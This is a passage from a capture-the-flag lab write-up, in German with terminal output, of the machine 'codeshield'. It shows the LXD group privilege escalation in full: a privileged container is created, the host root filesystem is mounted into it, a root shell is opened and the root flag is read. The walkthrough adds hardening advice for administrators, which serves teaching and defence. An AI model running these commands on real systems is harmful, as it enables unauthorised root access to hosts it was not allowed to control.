uid=1000(earlyp) gid=1000(earlyp) groups=1000(earlyp),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd)
earlyp@codeshield:/dev/shm$ lxc image list
+-------+--------------+--------+---------------------------------------------+--------------+-----------+----------+------------------------------+
| ALIAS | FINGERPRINT  | PUBLIC |                 DESCRIPTION                 | ARCHITECTURE |   TYPE    |   SIZE   |         UPLOAD DATE          |
+-------+--------------+--------+---------------------------------------------+--------------+-----------+----------+------------------------------+
|       | 712a58368655 | no     | ubuntu 16.04 LTS amd64 (release) (20211001) | x86_64       | CONTAINER | 171.55MB | Oct 27, 2023 at 3:04pm (UTC) |
+-------+--------------+--------+---------------------------------------------+--------------+-----------+----------+------------------------------+
                      
earlyp@codeshield:/dev/shm$ lxc init 712a58368655 test -c security.privileged=true
Creating test
earlyp@codeshield:/dev/shm$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to test
earlyp@codeshield:/dev/shm$ lxc start test
earlyp@codeshield:/dev/shm$ lxc exec test bash
root@test:/#

Analyse: Der Benutzer `earlyp` bestätigt seine Mitgliedschaft in der Gruppe `lxd`. Anschließend wird die Standard-LXD-Privilege-Escalation-Technik angewendet: 1. Ein verfügbares LXD-Image wird aufgelistet (Fingerprint `712a58368655`). 2. Ein privilegierter Container namens `test` wird aus diesem Image initialisiert. 3. Das Root-Dateisystem (`/`) des Host-Systems wird als Gerät `whatever` in den Container unter `/mnt/root` gemountet. 4. Der Container wird gestartet. 5. Eine Bash-Shell wird innerhalb des Containers ausgeführt (`lxc exec`).

Bewertung: **Erfolg!** Alle Schritte funktionieren wie erwartet. Der Angreifer hat nun eine Root-Shell (`root@test`) innerhalb des Containers, und das gesamte Dateisystem des Hosts ist unter `/mnt/root` zugänglich.

Empfehlung (Pentester): Navigieren Sie innerhalb der Container-Shell zu `/mnt/root/root/` und lesen Sie die Root-Flagge `root.txt`.
Empfehlung (Admin): Entfernen Sie unprivilegierte Benutzer aus der `lxd`-Gruppe.

root@test:/# cd /mnt/root/root/
root@test:/mnt/root/root# ls
cowrie  root.txt  snap
root@test:/mnt/root/root# cat root.txt
             @@@
[...] 
  _______________________________________________________________________________________________________
 |  _ROOT FLAG!________________________________________________________________________________________  |
 | |                                                                                                   | |
 | | Educate_your_employees_on_password_safety                                                         | |
 | |                                                                                                   | |
 | |___________________________________________________________________________________________________| |
 |_______________________________________________________________________________________________________|
                      

Analyse: Innerhalb der Container-Shell wird zum gemounteten `/root`-Verzeichnis des Hosts navigiert und die Datei `root.txt` ausgelesen.

Bewertung: Die Root-Flagge `Educate_your_employees_on_password_safety` wurde erfolgreich gefunden.

Empfehlung (Pentester): Ziel erreicht. Maschine abgeschlossen.
Empfehlung (Admin): Beheben Sie die identifizierten Schwachstellen (Anon FTP, alte SSH-Versionen, Passwort-Wiederverwendung, Passwörter in Dateien/History, LXD-Gruppenmitgliedschaft).

Flags

cat /home/mitchellt/user.txt
Your_password_is_the_key_to_your_digital_life
cat /mnt/root/root/root.txt
Educate_your_employees_on_password_safety